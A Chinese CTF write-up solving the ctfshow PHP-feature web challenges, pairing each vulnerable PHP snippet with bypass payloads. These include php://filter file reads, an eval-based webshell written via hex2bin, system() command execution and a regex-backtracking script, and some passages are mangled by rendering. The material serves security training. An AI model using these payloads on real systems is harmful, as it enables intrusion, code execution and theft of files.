ctfshow-php特性

Web专项练习—ctfshow-php特性

php绕过方法总结

  1. 小数绕过
  2. 进制绕过
  3. ==、 = ==绕过
  4. %20空格绕过
  5. %0a换行绕过
  6. 回车\空格+八进制绕过
  7. 相对路径绕过
  8. php伪协议读取文件
  9. 数组md5值为0
  10. 弱类型匹配
  11. 函数写
  12. 运算优先级漏洞
  13. 反射类绕过
  14. call_user_func()绕过
  15. sha1()函数绕过
  16. 变量覆盖
  17. sha1弱比较
  18. md5弱比较
  19. ereg()截断漏洞
  20. php内置类 FilesystemIterator
  21. 压缩过滤器绕过
  22. 空格代替url ‘_’ 绕过
  23. gettext扩展绕过
  24. 数组strpos()值为null
  25. && || 的优先级绕过
  26. 反弹shell、curl
  27. Linux中的cp命令
  28. Linux中的tee命令
  29. 调用类中函数
  30. 弱比较
  31. 取反绕过
  32. 异或,同0异1
  33. 三目运算符构造payload
  34. 等号和位运算符
  35. create_function()函数
  36. 尝试非预期解
  37. 魔术方法

web89

intaval()

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

intval()–非空的数组会返回1,可以采用数组绕过intval()函数

intval()函数只匹配整数部分

preg_match()

返回的匹配次数,不匹配为0,匹配成功1次即为1,然后停止搜索,该函数只会匹配一行,可以%0a换行绕过

preg_match_all()不同于此,它会一直搜索 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

web90

全等于与等于

=== -----> 全等于 == ------> 等于,一个精确度很高,一个是简单等于

1、如果类型不同,就不相等

2、如果两个都是数值,并且是同一个值,那么相等;如果其中至少一个是NaN,那么[不相等]。(判断一个值是否是NaN,只能用isNaN()来判断)

【总结】a===b,是先判断a和b的类型是否相同,如果不用则False;如果相同,再判断值是否相同。所以:’2’===2->False
a==b,是判断a(支持自动类型转换)的值和b的值是否相同->所以’2’和2,在值上是一样的。所以:’2’==2->True
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

intval($num,0):

ctfshow-php特性_第1张图片

intval支持不同进制,这里base指定是0,那么intval会根据我们输入情况使用进制,

所以这里我就就可以用16进制或八进制表示4476

?num=0×117c    //十六进制
?num=010574    //八进制

intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476a”)也等于4476

web91

preg_match参数匹配\m \i

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

/i 表示匹配的时候不区分大小写

/m 表示多行匹配,匹配换行符两端的潜在匹配。影响正则中的^$符号

多行匹配可以通过%0a(回车键)绕过

在题中,构造payload为

?cmd=flag.%0Aphp

第一行为多行匹配,满足第一行的条件,第二行为单行匹配,只需要保证第一行中不出现完整的php就可满足条件,get到flag

web92

include("flag.php"); 
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

与web90的差距,就在于此题为弱类型,即web90的?num=4476a不能满足题意

因为==比较中,4476a=4476

因为在本题中intval( n u m , num, num,base)第二个参数base=0,为0时,通过检测var的格式来判断使用的进制,如果字符串包括了"0x"(或"0X")的前缀,使用16进制(hex);如果字符串以"0”开始,使用8进制(octal);否则将使用10进制(decimal)。

进制绕过

通过十六进制或者八进制都可绕过

?num=0×117c    //十六进制
?num=010574    //八进制

特殊字母e绕过

通过?num=4476e321321321也可以拿到flag,因为e比较特殊,可以在php中不是科学计数法,构造这个payload,可以绕过第一个if条件,然后进行的第二个if比较就和web90相同了

web93

弱类型比较+过滤字母–八进制绕过

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

此题条件比较苛刻,不仅弱比较了4476,而且不允许num参数中出现字母(\i参数表示忽略大小写),也就是我们可以同样 采用进制绕过,但是可以使用的进制只有八进制

?num=010574 //八进制

web94


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

strpos()

strpos($num, “0”)

strpos()函数的理解:该函数是从我们传入的参数num中,寻找并匹配数字0,第一位匹配正确返回0,第二位匹配正确返回1,以后递推,所以在题中即为只要匹配到,输出就为true,取反就为false.所以可以通过除了第一位其他位出现0的方法让if条件为假。**该函数并不是只匹配一行数据。回车后匹配仍有效。**可以通过?num=%0a4476绕过

intval()

intval()函数只匹配整数部分,综上可以构建小数中含有0的payload:?num=4476.011

也可以选择八进制绕过,不过需要使num参数前加空格占位,使其满足第一位不能出现0的条件

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

$num==4476

绕过该if条件,可以通过%0a回车换行实现。

绕过第一个if后可以通过进制转换绕过

因为==号只能判断数字是否相等,不能进行进制转换,故可以绕过第一个if。第二个有过滤".",故只能进行进制转换绕过,而且只能是八进制

payload:?num=%0a010574
payload:?num=%20010574
payload:?num=+010574

空格\回车+八进制绕过

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

相对路径绕过

这道题我们需要读取flag.php文件,但是限制了参数u不能为flag.php,故可以采用相对路径来绕过。

payload:?u=./flag.php

php伪协议

想要读取我们想要的flag.php文件,可以采用php伪协议的方法。

fliter伪协议,传参如下:

?file=php://filter/convert.base64-encode/resource=flag.php

对于这题应该使用

payload:?u=php://filter/convert.base64-encode/resource=flag.php
	    ?u=php://filter/resource=flag.php

将得到的base64解密即可

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
} 

比较md5值

在题中可以利用数组的md5值为零,来绕过

payload:a[]=1&b[]=2

web98

include("flag.php");#本php文档包含了一个flag.php文件,是我们想要的flag
$_GET?$_GET=&$_POST:'flag';#如果有get传参,就将get传参变为post传参。
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';#中间两行代码看起来貌似没用
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);#如果get传参了HTTP_FLAG=flag,就highlight_file($flag)

php三元运算符

和C语言类似

事实上,三元运算符可以扩展使用,当设置的条件成立或不成立,执行语句都可以不止一句,试看以下格式:

(expr1) ? (expr2).(expr3) : (expr4).(expr5);

多个执行语句可以使用用字符串运算符号(“.”)连接起来,各执行语句用小角括号包围起来以表明它是一个独立而完整的执行语句。

expr1成立就执行expr2和expr3,否则执行expr4和expr5

本题代码分析见上代码

payload:?1=1     post:HTTP_FLAG=flag

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

in_array()

in_array(search,array,type)

search—必须,规定在数组中搜索的值

array—必需,规定搜索的数组

type—可选,如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。

如果设置了第三个参数,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。

而题中没有设置,这里可以默认没有设置,即只是弱类型匹配

弱类型匹配

题中就是利用了in_array()的弱类型匹配

$allow是个数组,给定一个i的取值范围,然后利用array_push函数,不断循环向数组里面添加数据。

猜想一个随机数可以构造get传参

?n=123.php

然后post传参content一个一句话木马,此处没有过滤,故最简单的就可,最终payload

?n=123.php
content=

打开123.php文件后
1=system("ls");
1=system("cat flag.36d.php");

web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


is_numeric()

检测变量是否为数字,如果是,返回true,否则返回false

or与||、and与&&

优先级:逻辑运算符>逻辑运算(赋值)>and、or

由题中代码可知,v0的取值只和v1有关。v1参数为数字,没有其他限制,但是v2不能有;标志,v3必须有;标志,满足条件后执行eval函数,故可以构造payload

?v1=12.12&v2=var_dump($ctfshow)&v3=;

web101


highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 

本题与上一题的区别在于v2、v3的过滤,本题过滤较多,过滤的符号有

\  /  |  ~  `  @  !  #  $  %  ^  *  )  -  _  +  =  {  [  "  '  ,  .  ;  ?  和数字

反射类求解

反射类可以理解为一个类的映射。其实和调用对象的方法类似只不过这里是反着来的,方法在前,对象在后

payload:?v1=143&v2=echo new ReflectionClass&v3=;

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
} 

call_user_func()

把第一个参数作为回调参数调用

本题中要求v2是数字,然后通过substr函数截取v2的第三位开始的数据,及以后的数据。v1、v3题中没有限制,

is_numerc()

该函数在php5版本下有漏洞,可以识别十六进制,所以可以将一句话木马写作十六进制的格式

故构造v2=()

v2=3c3f706870206576616c28245f524551554553545b615d293b3f3e

v1可以利用hex2bin()函数来进行把十六进制字符转换成ASCII字符,即我们想要的一句话木马。

v1=hex2bin

v3是file_put_content()函数的文件名,

file_put_content()函数的str变量是回调的v1参数

v3通过伪协议写入1.php文件中内容

v3=php://filter/write=convert.base64-decode/resource=1.php
$a='

payload

get v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin

web103

解题过程payload同web102

web104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

由题可知,get传参v2,post传参v1

sha1()

sha1()函数在判断时无法处理数组类型,会返回false,故可以构建数组类型绕过

题中sha1()函数弱相等,提交的两个参数只需要满足经过运算后的值相等即可

payload:post v1=1  get  v2=1

web105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){		#get是一个预定义的数组,此处将get中的数据按照键值对取出
    if($key==='error'){				  #key是传入的参数名称 成立条件  error=random
        die("what are you doing?!");
    }
    $$key=$$value;					#此处将传入的传参名(键)和传参值(值)定义为变量,并使传参名(键)的数值等于传参值(值),通俗的说,就是咱们人工加入了一个变量,而且给予赋值
}foreach($_POST as $key => $value){	 #post同样是一个预定义的数组,同样按照键值对取出
    if($value==='flag'){			#如果传入的值为flag,if判定成立
        die("what are you doing?!");
    }
    $$key=$$value;					#同上,人工添加变量
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";	#要输出flag需要满足$_POST['flag']==$flag,但是$flag属于未知,我们就可以进行变量覆盖
die($suces); 

foreach()

foeach是一种特殊的循环语句,只适用于数组和对象

payload
get ?suces=flag
post error=suces

web106


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
} 

此题类型和前面相同,构造数组,可以实现值不相同而且sha1算法结果为0

或者进行sha1弱比较

web107

highlight_file(__FILE__);
error_reporting(0);		#禁止页面报错
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

post-v1 get-v3

parse_str()

将字符串解析成多个变量

$a='q=123&p=456';
parse_str($a,$b);
echo $b['q'];   //输出123
echo $b['p'];   //输出456
$a='q=123&p=456&r=789';
parse_str($a,$c);
echo $c['q'];   //输出123
echo "
"; echo $c['p']; //输出456 echo "
"; echo $c['r']; //输出789

在题中只需要构造payload为

?v3=1
v1=flag=c4ca4238a0b923820dcc509a6f75849b

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
} 

ereg()

正则匹配的一种,存在NULL截断漏洞,导致正则过滤被绕过,可以使用%00截断正则匹配

strrev()

字符串逆序,0x36d十进制为877,逆序即为778

故可以构建payload

?C=a%00778

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

} 

在eval函数中,构建了一个新的类,我们可以保证在内部类不报错的情况下进行输出

反射类绕过

?v1=ReflectionClass&v2=system("ls")
?v1=ReflectionClass&v2=system("cat fl36dg.txt")

答案在源码

web110

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

} 

本题和上一题整体较为相似,区别在于增加了过滤,v1、v2能用的只有字母。

FilesystemIterator

php内置类 利用 FilesystemIterator 获取指定目录下的所有文件

利用getcwd()函数来获取当前工作目录

payload:?v1=FilesystemIterator&v2=getcwd

得到fl36dga.txt

因为该文件在当前目录下,所以可以直接访问,得到flag

web111

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    

    


}

PHP超全局变量$GLOBALS

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

本题限制v1、v2只能为字母,而且控制v1的值只能为ctfshow

payload :?v1=ctfshow&v2=GLOBALS
#分析getflag函数
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
#在传入v1,v2的值之后,eval("$$ctfshow = &$$GLOBALS")

web112

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

is_file()函数

该函数检查指定的文件名是否为正常的文件

出题目的为,让is_file()函数检测不出是正常的文件,但是highlight_file()可以识别为正常的文件,可以利用php伪协议

php伪协议

payload:
?file=php://filter/resource=flag.php
?file=php://filter/convert.base64-encode/resource=flag.php//我觉得这里base64被过滤了,应该改成别的编码方式才行,但是事实证明是可以的
?file=php://filter/convert.base32-encode/resource=flag.php//当然base32等其他的base系列都是可以的,或者其他的编码形式
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

此题与上一题相比,多过滤了filter,但是我们可以使用别的伪协议

php伪协议

压缩过滤器绕过

payload:
?file=compress.zlib://flag.php

多次重复绕过

linux里/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file

payload:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

web114

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 师傅们居然tql都是非预期 哼!

这道题虽然过滤掉了compress,不能用上道题的payload,但是这道题没有过滤掉filter,故我们可以使用filter系列

payload:
?file=php://filter/resource=flag.php

下面的都是错误的payload
?file=php://filter/convert.base64-encode/resource=flag.php//我觉得这里base64被过滤了,应该改成别的编码方式才行,但是事实证明是可以的
?file=php://filter/convert.base32-encode/resource=flag.php//当然base32等其他的base系列都是可以的,或者其他的编码形式
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php
file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

web115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

trim()

移除字符串两侧的字符,第一个参数写入需要操作的字符串,第二个参数写入需要移除的字符

本地验证

for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}

输出结果为

%0C %2B - . 0 1 2 3 4 5 6 7 8 9 

%0c是换页符,%2B是+

所以能用的只有%0c

?num=%0C36

web123

error_reporting(0); 
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 

php变量名特性绕过

PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格+ . [转换为_

所以我们没有办法post CTF_SHOW.COM进去

这里就用到了php变量名特性绕过

在变量名中出现了[的话,在get、post传参中,[就会被替换成_,然后其后的字母不会发生变化,CTF[SHOW.COM=>CTF_SHOW.COM

$argv

传递给脚本的参数数组,也可以在 [$_SERVER’argv’] 中获取。

将fun的值直接赋值给$c, 然后执行eval函数

payload
?fl0g=flag_give_me
CTF_SHOW=1&CTF[show.com=1&fun=echo $flag

至于 c < = 18 的 条 件 , 经 过 本 人 亲 自 验 证 , 发 现 当 c<=18的条件,经过本人亲自验证,发现当 c<=18c是字符串的时候,有$c==0;

$flag = 123;
$c = "echo $flag";
//var_dump($flag);
//echo "
";
//var_dump($c); //echo "
";
//echo strlen($c); if($c==0) { echo 1 ."
"
; echo $flag ."
"
; eval("$c".";"); }

还有payload如下,目前暂不理解为什么:

get:
?a=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])

web125

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 

$argv

借助上题payload

get:
?1=flag.php
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

在前几题的基础上过滤了更多

parse_str()

get:
?a=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

assert()函数

get:
?$fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
//需要用burp

web127

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

$_SERVER[]

$_SERVER 是 PHP 预定义变量之一,可以直接使用,它是一个包含了诸如头信息(header)、路径(path)及脚本位置(script locations)信息的数组。

$_SERVER 数组中的元素由 Web 服务器创建,但不能保证每个服务器都提供全部元素,有的服务器可能会忽略一些,或者提供一些没有在这里列举出来的元素。

空格代替url ‘_’ 绕过

需要我们传参进入ctf_show,且ctf_show的值为ilove36d,构造payload

?ctf show=ilove36d

$_SERVER[QUERY_STRING],经过验证,不能显示post传参的内容,故只能采取get传参

web128

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL 

要满足if条件,需要 s t r 匹 配 不 到 字 母 和 数 字 , 也 即 i f 里 的 str匹配不到字母和数字,也即if里的 striff1匹配不到字母和数字

gettext()

当php开启了gettext扩展后,可以绕过字母

echo gettext(phpinfo());===echo _(phpinfo());

可以利用这个特点构造payload

?f1=_&f2=get_defined_vars

get_defined_vars()

get_defined_vars — 返回由所有已定义变量所组成的数组

call_user_function()

把第一个参数作为回调函数调用,其余的参数作为回调函数的参数

var_dump(call_user_func(call_user_func($f1,$f2)));
=> var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
=> var_dump(call_user_func(get_defined_vars));

web129

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

stripos()

查找字符串在另一字符串中第一次出现的位置(不区分大小写),第一个位置记为0,即如果要读取文件需要兼顾不在第一个位置出现ctfshow,而且满足读取文件的条件

?f=/ctfshow/../var/www/flag.php
?f=./ctfshow/../flag.php
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
?f=php://filter/|ctfshow/resource=flag.php

web130

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

} 

绕过第一个正则匹配,第一个正则匹配中,. 表示任意单个字符,+表示必须匹配一次或者多次,尽可能少重复,

所以ctfshow前至少有一个字符的时候就会返回TRUE

\i参数匹配大小写 \s参数匹配换行

绕过第二个正则匹配,即匹配成功参数f匹配成功ctfshow

payload:f=ctfshow

preg_match回溯限制

回溯限制为100万次,写脚本

import requests
url="http://df990057-ba53-43bb-ad81-b7975ae92a96.challenge.ctf.show/:8080/"
data={
    'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

超出回溯次数,preg_match函数报错,同时传入ctfshow,绕过第二个

数组绕过

第二个正则匹配是强等于,类型必须相同

采用数组绕过的方法,stripos函数会返回null,null!=false,所以可以绕过stripos函数

f[]=a

web131

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

} 

题目同上一题类似,比较差异后,发现不可以采用数组绕过,这里暂时不明白为什么

$a = str_repeat("show",250000);
$b = $a . "36Dctfshow";
echo $b;

编写字符串,对第一个正则进行长度限制的绕过,然后输入36Dctfshow,绕过第二个正则

web132

首先访问robots.txt,查看到当前网页不允许访问的文件有admin,直接打开admin,进入找到源码

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
} 

&& || 的优先级

优先级的问题,||的优先级低于&&,所以只需要保证username=admin即可,令code=admin就可以满足if条件

payload:?username=admin&code=admin&password=1212342131

web133

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

反弹shell、curl外带、盲注

没有回显的RCE题目,可以通过反弹shell、curl外带、盲注

变量套变量

curl外带

curl

Linux中的cp命令

利用cp命令将flag.php写入1.txt,然后访问1.txt

payload:
?F=`$F` ;cp flag.php 1234.txt
/1234.txt

注意是反引号,相当于shell_exec()函数

web134

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

$_SERVER[‘QUERY_STRING’]

获取查询语句,实例中可知,获取的是?后面的值,只有get请求

extract()

该函数是将数组中的值依次复制给$键=值

parse_string()

